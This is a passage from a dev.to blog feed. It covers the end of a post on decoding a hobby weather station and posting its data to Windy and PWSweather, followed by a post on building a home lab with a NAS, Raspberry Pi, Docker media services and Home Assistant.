[332685][V][WeatherSensor.cpp:392] getMessage(): [SX1276] Data: D4 C3 49 C8 EB 8D CA D8 AF BA E2 AA AC DC AA A3 CC 28 AA AF 9D AA AA AA 4A AA 00 
[332697][D][WeatherSensor.cpp:394] getMessage(): [SX1276] R [D4] RSSI: -106.0
[332705][D][WeatherSensor.h:648] log_message(): Byte #: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 
[332717][D][WeatherSensor.h:658] log_message(): De-whitened Data: 69 E3 62 41 27 60 72 05 10 48 00 06 76 00 09 66 82 00 05 37 00 00 00 E0 00 AA 
[332730][V][WeatherSensorDecoders.cpp:67] findSlot(): find_slot(): ID=00006241
[332737][D][WeatherSensorDecoders.cpp:105] findSlot(): sensor[0]: v=0 id=0x00006241 t=13 c=0
[332745][V][WeatherSensorDecoders.cpp:130] findSlot(): find_slot(): Storing into slot #0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmg6j2vd0lug5sevmti3y.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmg6j2vd0lug5sevmti3y.jpeg" alt="Weather station monitor" width="800" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Making the Station Data Accessible
&lt;/h2&gt;

&lt;p&gt;With correct data being collected from the station now it was the time to make the data public. The first option that came to mind was &lt;a href="https://openweathermap.org/" rel="noopener noreferrer"&gt;OpenWeatherMap&lt;/a&gt; which was, without a doubt, the best (and the only mentally sane) API that I’ve found to &lt;a href="https://openweathermap.org/stations" rel="noopener noreferrer"&gt;register the station and post data&lt;/a&gt;. The problem was that OpenWeatherMap provides nothing other than an API to access the data, nor you can access the data specific for your weather station via any out of the box application.&lt;/p&gt;

&lt;p&gt;So looking for other options started. The most common one is &lt;a href="https://www.wunderground.com/" rel="noopener noreferrer"&gt;Weather Underground&lt;/a&gt;, but they are ongoing some controversy due to changes on the pricing to access their APIs (although it seems not to impact access to your own station data). Anyway, another alternative that came to mind is my favorite (by far) weather application, (Windy)[&lt;a href="https://www.windy.com/" rel="noopener noreferrer"&gt;https://www.windy.com/&lt;/a&gt;]. I didn’t even know if they supported Personal Weather Stations (PWS, yes, that’s a thing), but I quickly found out they rolled out &lt;a href="https://stations.windy.com/" rel="noopener noreferrer"&gt;support for PWS’s recently&lt;/a&gt;&lt;sup id="fnref:2"&gt;2&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;Ok, so now let’s try to stream out some readings. I was expecting half-decent documented API and a simple POST would do the trick (like in OpenWeatherMap). But reality is… weird.&lt;/p&gt;

&lt;p&gt;So first off, depending on the platform, you need to either do a request to register your station (e.g., OpenWeatherMap) or you need to fill out some form to register your station (Windy and PWSweather). Either way you end up obtaining the API key to be used with that specific station, which makes sense.&lt;/p&gt;

&lt;p&gt;Then documentation gets harder and harder to find. I believe this is mostly caused by most PWS stations that are WiFi connected out of the box support sending data to several services, with not being so common having integrations done from scratch like this one adventure.&lt;/p&gt;

&lt;p&gt;So, focusing on the not so bad one, Windy has some documentation… &lt;a href="https://community.windy.com/topic/8168/report-your-weather-station-data-to-windy" rel="noopener noreferrer"&gt;on a forum post from 2019 lost in their forums&lt;/a&gt;, but it’s complete information — better than most. So you basically have a JSON object, which can contain both updates to the station information as well as weather observations. Taking from their own example, you can &lt;code&gt;POST&lt;/code&gt; to &lt;code&gt;https://stations.windy.com/pws/update/&amp;lt;API-KEY&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
 "stations":[
  {"station":0, "name":"My Home Station", "lat":48.2, "lon":28.6, "elevation":80, "tempheight":2, "windheight":10},
  {"station":1, "name":"My Other Station", "lat":47.1, "lon":31.2, "elevation":122, "tempheight":2, "windheight":8}
 ],
 "observations":[
  {"station":0, "dateutc":"2019-03-15T06:15:34", "temp":1.2, "wind":2.8, "winddir":189, "gust":3.7, "rh":76},
  {"station":1, "dateutc":"2019-03-15T06:15:34", "temp":2.6, "wind":1.1, "winddir":135, "gust":2.5, "rh":65}
 ]
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can even update several stations at the same time. Once again, not bad at all, however it would be nice to have some official documentation on a dedicated page. The problem was that after a few requests, I started to have 401 errors. I did later find out that you can only send a request each 5 minutes (their documentation mentions that &lt;em&gt;So, it’s not necessary send us data every minute, 5 minutes will be fine.&lt;/em&gt;, but that goes a long way to be a hard limit). But with some caching of the values and sending them in the array as observations, everything worked out.&lt;/p&gt;

&lt;p&gt;However, when trying to streaming data to PWSweather things got &lt;em&gt;weirder and weirder&lt;/em&gt;. First off, there is not documentation at all, with the references to custom data upload pointing to open support tickets. After looking across old forums and reddit posts I found out that they use the same API as wunderground. And &lt;a href="https://www.wxforum.net/index.php?topic=39535.0" rel="noopener noreferrer"&gt;some random user on one of the random forums&lt;/a&gt; tested a lot of endpoints and found out that several? endpoints worked to send data:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;pwsweather.com /pwsupdate/pwsupdate.php?&lt;/li&gt;
&lt;li&gt;pwsweather.com /weatherstation/updateweatherstation.php?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;but… why the query parameter to send data? &lt;em&gt;wut?&lt;/em&gt; (at this point I was expecting that it was some kind of typo). Let’s look into the Weather Underground API now that we have endpoints to test against. So I quickly found a &lt;a href="https://stackoverflow.com/questions/56393298/how-to-upload-data-from-my-personal-weather-station" rel="noopener noreferrer"&gt;StackOverflow post&lt;/a&gt; that make it as clear as possible:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;To upload data, send a GET request to &lt;code&gt;https://weatherstation.wunderground.com/weatherstation/updateweatherstation.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A full example: &lt;code&gt;/updateweatherstation.php?ID=KCASANFR5&amp;amp;PASSWORD=XXXXXX &amp;amp;dateutc=2000-01-01+10%3A32%3A35&amp;amp;winddir=230&amp;amp;windspeedmph=12&amp;amp;windgustmph=12&amp;amp;tempf=70&amp;amp;rainin=0&amp;amp;baromin=29.1&amp;amp;dewptf=68.2&amp;amp;humidity=90&amp;amp;weather=&amp;amp;clouds=&amp;amp;softwaretype=vws%20versionxx&amp;amp;action=updateraw&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The minimum required query parameters are:&lt;/p&gt;


&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ID: the station id
PASSWORD: the station key
dateutc: the time in format YYYY-MM-DD HH:MM:SS, or "now"

&lt;/code&gt;&lt;/pre&gt;

&lt;/blockquote&gt;

&lt;p&gt;I don’t even know what to say. But summarizing the problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using a GET and query parameters to send data&lt;/li&gt;
&lt;li&gt;Only supports US units of measurement and not supporting metric&lt;/li&gt;
&lt;li&gt;Only supports specific units for certain measurements that are not the most common ones (e.g. barometric pressure is commonly measured in milibar/hPa, but somehow the API accepts inches Hg&lt;sup id="fnref:3"&gt;3&lt;/sup&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But this seems somehow a standard across several weather services, which The Weather Company&lt;sup id="fnref:4"&gt;4&lt;/sup&gt; defines as the &lt;a href="https://support.weather.com/s/article/PWS-Upload-Protocol?language=en_US" rel="noopener noreferrer"&gt;PWS Upload Protocol&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Anyhow, using this hell-raised API I was finally able to post data to the PWS weather website.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Looks Like
&lt;/h2&gt;

&lt;p&gt;So, after all the struggling, from the wrong weather station model to mess around with nonsense APIs, I was able to have a nice running solution.&lt;/p&gt;

&lt;p&gt;The receptor unit based on the TTGO with the decoder up and running and streaming data to both PWS Weather and Windy, using the small screen to showcase some real time data and the last HTTP request status code can be seen bellow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flw5ltqmt8uw4s1w1bd5f.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flw5ltqmt8uw4s1w1bd5f.jpeg" alt="TTGO" width="800" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The following screenshot is from the Windy website, which you can &lt;a href="https://www.windy.com/station/pws-f0a5fd68?40.230,-8.440,8" rel="noopener noreferrer"&gt;visit here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5jebknb3fnrxcltvelgw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5jebknb3fnrxcltvelgw.png" alt="Windy Terronhas PWS" width="800" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And on &lt;a href="https://www.pwsweather.com/station/pws/terronhas" rel="noopener noreferrer"&gt;PWS Weather we can see data with more detail&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff4zioz0z859okc2abda1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff4zioz0z859okc2abda1.png" alt="PWS weather Terronhas PWS" width="800" height="786"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Footnotes
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The WetBulb Globe Temperature (WBGT) is a measure of the heat stress in direct sunlight, which takes into account: temperature, humidity, wind speed, sun angle and cloud cover (solar radiation). &lt;a href="https://www.weather.gov/tsa/wbgt" rel="noopener noreferrer"&gt;weather.gov&lt;/a&gt; ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Windy on its free tier only allows you to check the data for the last week, but that’s fine because we will also stream the data to &lt;a href="https://www.pwsweather.com/" rel="noopener noreferrer"&gt;PWS Weather platform by Vaisala Xweather&lt;/a&gt; which keeps historical data with pretty charts and exports (and uses the exact same API as Windy). ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;1 inHg = 33.86389 hPa ↩&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Weather Company owns both &lt;a href="https://weather.com/?Goto=Redirected" rel="noopener noreferrer"&gt;weather.com&lt;/a&gt; and &lt;a href="https://www.wunderground.com/" rel="noopener noreferrer"&gt;Weather Underground&lt;/a&gt;. ↩&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>weather</category>
      <category>weatherstation</category>
      <category>smarthome</category>
      <category>iot</category>
    </item>
    <item>
      <title>From a NAS to a full-fledge homelab with spare parts</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Thu, 05 Sep 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/from-a-nas-to-a-full-fledge-homelab-with-spare-parts-3hcf</link>
      <guid>https://dev.to/jpdias/from-a-nas-to-a-full-fledge-homelab-with-spare-parts-3hcf</guid>
      <description>&lt;p&gt;It all started with a QNAP NAS to backup my raw photography’s and have some way to store other media files. Then some smart home devices randomly appeared. And then some enhancements needed to be done to a proper way to stream audio and video to my LG &lt;del&gt;dumb&lt;/del&gt; smart TV. Then an UPS to safekeep the system operation. And from simple things with simple goals, piece by piece, we end up with a complex soup of things that somehow work. This details what I call my current &lt;em&gt;homelab&lt;/em&gt;, and gives the main ideas on how you can build one yourself… if you really want to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ground Zero: The NAS Quest
&lt;/h2&gt;

&lt;p&gt;So, complex things start with the simplest of the objectives, in the case, storing and backup my always growing storage of both RAW and processed photographs from my &lt;a href="//500px.com/jpdias"&gt;other hobby&lt;/a&gt;. After some evaluation of the available alternatives I ended up with a &lt;a href="https://www.qnap.com/en/product/ts-328/specs/hardware" rel="noopener noreferrer"&gt;QNAP TS-328&lt;/a&gt; 3-bay NAS with 2Gb of RAM with RAID 5 support. Loaded it up with 3 4Tb 3.5 HDDs and we are up and running with 8Tb usable storage.&lt;/p&gt;

&lt;center&gt;
 &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dv9_qQq3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jpdias.me/images/homelab/raid5.png" alt="RAID5" width="411" height="296"&gt;
&lt;/center&gt;

&lt;p&gt;Of course the minimalist purpose of storing photographs was only the start. Soon after I started dumping my media library into it and streaming it to my devices via the old &lt;a href="https://en.wikipedia.org/wiki/DLNA" rel="noopener noreferrer"&gt;DLNA&lt;/a&gt;. And struggling with the bad performance of the transcoding of the ARM Cortex-A53 4-core 1.4 GHz processor (even if it says that supports up to 1080p) — the secret lies in stating “up to” and not fully support it.&lt;/p&gt;

&lt;p&gt;Other things were fun to play with, like the &lt;a href="https://www.myqnap.org/" rel="noopener noreferrer"&gt;third-party library of apps available&lt;/a&gt; and the ability of &lt;a href="https://www.qnap.com/en/software/container-station" rel="noopener noreferrer"&gt;running containers&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Also, for remote access, while in the past I used to setup a OpenVPN server, open router ports and so on, that’s the old way of doing things. Nowadays I always use Tailscale as it makes everything more secure (Wireguard without needing to open ports on the router, what else can you ask for?) and easy (giving access to other users is as simple as sending an invite via the Tailscale portal). Ah, and it also has really well done applications for all operating systems, including an app for QNAP &lt;em&gt;(I know, I’ve become a little of Tailscale fanboy myself)&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Plex Episode
&lt;/h2&gt;

&lt;p&gt;So there is this thing called Plex, or more concretely Plex Media Server, that you can setup basically anywhere (containers, you know the drill). So the idea is, maybe, I could set up some Raspberry Pi with this Plex thingy, mount my QNAP storage and just index the media that I have. This would come with the plus of proper indexing and navigation with covers, nicer UI than what’s bundled up with TVs for DLNA streams, and so on.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0onv0b63lkp3ot0zpyy7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0onv0b63lkp3ot0zpyy7.png" alt="Argon M.2 SSD case" width="800" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I fetched my unused Raspberry Pi 4 with 8Gb of RAM from the shelf, set it up with a &lt;a href="https://argon40.com/products/argon-one-m-2-case-for-raspberry-pi-4" rel="noopener noreferrer"&gt;Argon ONE M.2 case&lt;/a&gt; with &lt;a href="https://argon40.com/products/argon-one-m-2-expansion-board" rel="noopener noreferrer"&gt;SATA SSD extension&lt;/a&gt;. I set it up with an 20€ 256Gb SSD Verbatim Vi560 and it worked perfectly… for a total of 3 months — Verbatim, I will never trust your products again.&lt;/p&gt;

&lt;p&gt;But, before the SSD disk fail story, the system was up and running. Mounted the QNAP folder with fstab (just adding a line to &lt;code&gt;/etc/fstab&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;//&amp;lt;qnap_address&amp;gt;/Public /mnt/qnap cifs username=&amp;lt;user&amp;gt;,password=&amp;lt;password&amp;gt;,x-systemd.automount 0 0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For running Plex on Docker the easiest way is to use the well-crafted images provided by &lt;a href="https://docs.linuxserver.io/images/docker-plex/" rel="noopener noreferrer"&gt;LinuxServer.io&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;---
services:
  plex:
    image: lscr.io/linuxserver/plex:latest
    container_name: plex
    ports:
      - 32400:32400
      - 1900:1900/udp
      - 5353:5353/udp
      - 8324:8324
      - 32410:32410/udp
      - 32412:32412/udp
      - 32413:32413/udp
      - 32414:32414/udp
      - 32469:32469
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Etc/UTC
      - VERSION=docker
      - PLEX_CLAIM= #optional
    volumes:
      - /plex/data:/config
      - /mnt/qnap/tvseries:/tv
      - /mnt/qnap/movies:/movies
    restart: unless-stopped

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows you to access plex directly via the browser. However, if you want to install Plex on your TV, phone, and so on you need a Plex account, with it you can obtain the Plex claim token to basically associate your local library to your account. Which, at the end of the day, forces you to have a Plex account just to access your own stuff… not cool, but something I could live with, at least for a while.&lt;/p&gt;

&lt;h2&gt;
  
  
  It’s not DNS. There is a no way it’s DNS. It was DNS.
&lt;/h2&gt;

&lt;p&gt;So, with QNAP and Plex running, why not rollout your own DNS service? In the past I have used both &lt;a href="https://pi-hole.net/" rel="noopener noreferrer"&gt;Pi-hole&lt;/a&gt; and &lt;a href="https://github.com/AdguardTeam/AdGuardHome" rel="noopener noreferrer"&gt;AdGuardHome&lt;/a&gt; with different levels of success. My first idea was to run it directly on the Router, as I have a &lt;a href="https://openwrt.org/toh/tp-link/archer_c7" rel="noopener noreferrer"&gt;TP-Link Archer C7 AC1750&lt;/a&gt; which is full-fledge compatible with OpenWrt. OpenWrt has a really good guide on &lt;a href="https://openwrt.org/docs/guide-user/services/dns/adguard-home" rel="noopener noreferrer"&gt;how to run AdGuard on it&lt;/a&gt;, however the flash storage was not enough for it. Fear not, we can extend the &lt;a href="https://openwrt.org/docs/guide-user/additional-software/extroot_configuration" rel="noopener noreferrer"&gt;RootFS with a USB storage device&lt;/a&gt;. And everything worked great! The problem was the stability of the service, as the router started to misbehave after a few weeks of uptime, requiring recurrent reboots to keep everything working — not great, but not too terrible.&lt;/p&gt;

&lt;p&gt;While I was at it, also better configure this Raspberry Pi as part of my Tailscale tailnet. But not as just another node, but an &lt;em&gt;exit node&lt;/em&gt;, giving me something closer to a typical VPN, in a way that I can access all of my home network devices.&lt;/p&gt;

&lt;p&gt;However, after some episodes of issues with DNS resolution, I went with the more stable version of running it on the Raspberry Pi, alongside with Plex. This solution kinda of works, but if for some reason the Pi failed (looking at you again, Verbatim), this became a single point of failure (as the announcements of DNS servers available on the networks were not really working properly and fallback to external DNS resolvers as expected when the main one had failed).&lt;/p&gt;

&lt;p&gt;Meanwhile I decided to invest in a more recent router, with support for Wi-Fi 6, and the choice was a &lt;a href="https://openwrt.org/toh/asus/tuf-ax4200" rel="noopener noreferrer"&gt;Asus TUF Gaming AX4200&lt;/a&gt; as it is fully compatible with OpenWrt and has 256Mb of flash and 512Mb of RAM which would be more than enough to run AdGuard. But for now, I will keep with the stock firmware as it is performing well and stable and will resort to the default Adguard public DNS servers to block most of the things without the complexity of running my own DNS service.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Home Automation Adventure
&lt;/h2&gt;

&lt;p&gt;Nowadays having some surveillance cameras is common practice, in my case I opted for a few (3x) IP66 rated TP-Link TC65 3MP Wi-Fi cameras with Night Vision for outdoor use. They work perfectly well out-of-the box via the Tapo app even under bad weather, and allow local access via a configurable RTSP stream. Given that, I decided to extend the range of products and brought two more cheap indoor cameras (Tapo C200), and a few (4x) Tapo P110 Plugs with built-in energy monitoring. All of it a joy to use.&lt;/p&gt;

&lt;p&gt;But over the years I had accumulated a lot of Smart Devices with the most diverse protocol landscape, including some cheap Xiaomi Mi Humidity and Temperature sensors with BLE that I use to monitor my house comfort (as I &lt;a href="https://dev.to/iot/2022/10/03/a-not-so-smart-smart-home"&gt;wrote previously here&lt;/a&gt;). And while I could spend more money and buy the &lt;a href="https://community.tp-link.com/en/smart-home/stories/detail/501808" rel="noopener noreferrer"&gt;proprietary sub-GHz sh!t that Tapo created to home sensors&lt;/a&gt;, I finally decided to give a second chance to &lt;a href="https://www.home-assistant.io/" rel="noopener noreferrer"&gt;Home Assistant&lt;/a&gt;. I say second change as the first time that I went by that road I totally regretted it, as it was a mess of software, without proper backup strategies, fragmentation of components within the UI, and so on.&lt;/p&gt;

&lt;p&gt;But this was a side-quest, and let’s get back to the main story, as the endeavors of trying out Home Assistant were, let’s say, delayed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Verbatim Disk Fail
&lt;/h2&gt;

&lt;p&gt;After three months of smooth operation, I started to have misbehavior’s. Plex not responding, Raspberry Pi not responding, etc. My first option on the table was some kind of issue with the Argon case, as it needed to provide enough energy to the SSD to be able to operate, and this was a known issue in the first revisions of the Argon case. A lot of hours were lost, a lot of tearing it apart and rebuild it again, lot’s of SSD formats, and the story goes on. The Raspberry Pi simply didn’t boot in the most of the occasions, going straight to the BIOS screen that would claim ‘no bootable disk found’. And this was true, because as soon I flashed a USB drive with a random Linux distro, the Pi booted correctly.&lt;/p&gt;

&lt;p&gt;Eventually, after a lot of trial and error, the SSD simply and consistently died. And it was the culprit from the beginning. Oh well, disks fail, maybe not so fast…&lt;/p&gt;

&lt;h2&gt;
  
  
  From Scratch
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj583c56fda7fcj8g9ek9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj583c56fda7fcj8g9ek9.png" alt="Portainer" width="800" height="308"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, disk fail. Let’s re-do everything from scratch, with some lessons learnt. First off, I scavenged a old WD 256Gb SSD from a no longer used laptop (project for another day) and formatted it with the same &lt;a href="https://www.raspberrypi.com/software/operating-systems/" rel="noopener noreferrer"&gt;Raspberry Pi OS Lite&lt;/a&gt; (basically the bloatware-less version of the Raspberry Pi OS). After that setting up the essentials, including Docker. But managing Docker-compose stacks by hand it is just… boring. Thus I decided to go full-fledge to &lt;a href="https://docs.portainer.io/start/install-ce/server/docker/linux" rel="noopener noreferrer"&gt;Portainer&lt;/a&gt;. It gives you a nice UI for managing all your container stacks, and a kind of library to find software, so called “App Templates”. Which makes things easy to deploy new software.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9b7ga91t4yz47pnqujb.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9b7ga91t4yz47pnqujb.jpeg" alt="Grafana" width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Given that it was a matter of setting up some &lt;em&gt;core&lt;/em&gt; software:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://jellyfin.org/" rel="noopener noreferrer"&gt;Jellyfin&lt;/a&gt;, finally a nice alternative to Plex, without the bloat and mandatory accounts garbage;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://heimdall.site/" rel="noopener noreferrer"&gt;Heimdall&lt;/a&gt;, a minimalist application dashboard working as a landing page to the Raspberry Pi (but I’m looking at you &lt;a href="https://github.com/gethomepage/homepage" rel="noopener noreferrer"&gt;Homepage&lt;/a&gt;, as you seem a promising alternative);&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://transmissionbt.com/" rel="noopener noreferrer"&gt;Transmission&lt;/a&gt; as a service to download random stuff directly to the NAS, &lt;em&gt;yarr!&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://grafana.com/" rel="noopener noreferrer"&gt;Grafana&lt;/a&gt;, &lt;a href="https://github.com/google/cadvisor" rel="noopener noreferrer"&gt;cAdvisor&lt;/a&gt;, &lt;a href="https://prometheus.io/" rel="noopener noreferrer"&gt;Prometheus&lt;/a&gt;, and &lt;a href="https://prometheus.io/docs/guides/node-exporter/" rel="noopener noreferrer"&gt;Prometheus node exporter&lt;/a&gt; working as a nice monitoring stack, specially to control the temperatures as the Argon case is not the best thing in terms of heat dissipation. Grafana was loaded up with the &lt;a href="https://grafana.com/grafana/dashboards/15120-raspberry-pi-docker-monitoring/" rel="noopener noreferrer"&gt;nice “Raspberry Pi &amp;amp; Docker Monitoring dashboard template by Oijkn&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Talking about heat dissipation, Argon case comes with a piece of &lt;strong&gt;proprietary software&lt;/strong&gt; that you can easy install to control a little fan that comes in the case. However, the software is not the best thing around, but there is a &lt;a href="https://github.com/spapadim/argon1" rel="noopener noreferrer"&gt;cool reimplementation that works top notch&lt;/a&gt; that allows you to configure the fan via I2C and control de case added on/off button.&lt;/p&gt;

&lt;p&gt;And we are up and running!&lt;/p&gt;

&lt;h2&gt;
  
  
  Smart Home Pt. II
&lt;/h2&gt;

&lt;p&gt;Now, getting back to the Home Assistant story. I took up one Raspberry Pi 3B that I had around (the minimal recommended to run Home Assistant, like why on Earth you need so many resources Home Assistant?!) and just flashed the out of the box image of Home Assistant on an &lt;a href="https://www.amazon.com/SanDisk-Industrial-MicroSD-SDSDQAF3-008G-I-Adapter/dp/B07BZ5SY18" rel="noopener noreferrer"&gt;industrial grade 8Gb SD card from Sandisk&lt;/a&gt; — let’s see how long it last, compared to regular SD cards.&lt;/p&gt;

&lt;p&gt;After setting it up, surprisingly easy to do, I could add my &lt;a href="https://sonoff.tech/product/gateway-and-sensors/sonoff-zigbee-3-0-usb-dongle-plus-p/" rel="noopener noreferrer"&gt;Sonoff Zigbee dongle&lt;/a&gt; and it was automatically discovered and setup. Now I just needed some devices to “discover”. And while I had those cheap Xiaomi Humidity and Temperature BLE sensors laying around, I remembered that recently I found out that those things could be converted to Zigbee, so challenge unlocked… or not so much of a challenge, just &lt;a href="https://smarthomescene.com/guides/convert-xiaomi-lywsd03mmc-from-bluetooth-to-zigbee/" rel="noopener noreferrer"&gt;go here and follow the steps&lt;/a&gt; (make sure that your devices are LYWSD03MMC or otherwise you will not be able to do this). And simple as that we have our Zigbee sensors up and running.&lt;/p&gt;

&lt;p&gt;Next step was to integrate with the Tapo devices, both cameras and plugs. While the plugs were plug and play (&lt;em&gt;pun intended&lt;/em&gt;), the cameras not so much, and forced me to delve into the jungle of &lt;a href="https://hacs.xyz/" rel="noopener noreferrer"&gt;HACS&lt;/a&gt; that I totally would recommend to stay away of if you can as this HACS sometimes work in fun ways… but after finding the right &lt;a href="https://github.com/JurajNyiri/HomeAssistant-Tapo-Control" rel="noopener noreferrer"&gt;HACS&lt;/a&gt;, it was ready to go, cameras integrated.&lt;/p&gt;

&lt;p&gt;Last thing remaining was my hacked &lt;a href="https://www.ikea.com/pt/en/p/vindriktning-air-quality-sensor-70498242/" rel="noopener noreferrer"&gt;Ikea Vindriktning Air Quality Sensor&lt;/a&gt;, to which I added an Wemos D1 for streaming PM2.5 readings over the air, plus a BME280 to add humidity, temperature and pressure monitoring to the unit. Here the easiest way to go was to just use ESPhome instead of custom code, as it integrates really well with Home Assistant.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uart:
  rx_pin: D2
  baud_rate: 9600

sensor:
  - platform: pm1006
    pm_2_5:
      name: "Particulate Matter 2.5µm Concentration"

  - platform: bme280_spi
    temperature:
      name: "BME280 Temperature"
    pressure:
      name: "BME280 Pressure"
    humidity:
      name: "BME280 Humidity"
    cs_pin: D5

switch:
  - platform: restart
    name: "Device Restart"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



